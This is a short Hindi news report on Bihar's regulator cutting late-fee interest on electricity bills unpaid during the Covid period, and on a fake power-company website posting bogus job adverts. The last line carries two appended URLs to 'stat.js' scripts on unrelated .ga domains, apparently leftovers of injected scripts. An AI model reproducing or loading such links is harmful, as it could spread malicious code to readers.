बिहार के डेढ़ करोड़ से अधिक बिजली उपभोक्ताओं के लिए राहत भरी खबर है। कोरोना काल में जो बिजली बिल नहीं जमा कर सके हैं उन्हें लगने वाले विलंब शुल्क पर ब्याज कम लगेगा। शुक्रवार को बिहार विद्युत विनियामक आयोग ने इस बाबत निर्णय सुनाया है।

आयोग के अध्यक्ष एसके नेगी की ओर से यह निर्णय सुनाया गया है। 25 मार्च से 30 जून के बीच बिल नहीं जमा करने वालों को फायदा होगा। कंपनी की ओर से बिल जारी होने पर 10 दिनों का ग्रेस पीरियड दिया जाता है। इसमें वास्तविक बिल ही जमा करना पड़ता है। 10 दिनों के बाद 1.25% ब्याज देना पड़ता है। आयोग ने इसे 0.75% कर दिया है।

साइबर अपराधियों ने बिहार स्टेट पावर (होल्डिंग) कंपनी की फर्जी वेबसाइट तैयार कर उसपर थोक में अलग-अलग पदों पर नियुक्ति, जैसे जेई, सहायक अभियंता, कनीय लेखा लिपिक, कनीय सारणी पुरुष व प्रबंधक के पद का विज्ञापन निकाल दिया है।

साेशल मीडिया पर इस विज्ञापन के वायरल हाेने के बाद बिहार स्टेट पावर (हाेल्डिंग) कंपनी के प्रशाखा पदाधिकारी द्वारा काेतवाली थाना में केस दर्ज करा दिया है। कंपनी ने कहा कि हद है ये तो, हमने तो एेसी कोई वैकेंसी ही नहीं निकाली। इस फर्जीवाड़े के खिलाफ बिजली कंपनी द्वारा प्राथमिकी दर्ज करायी गयी है।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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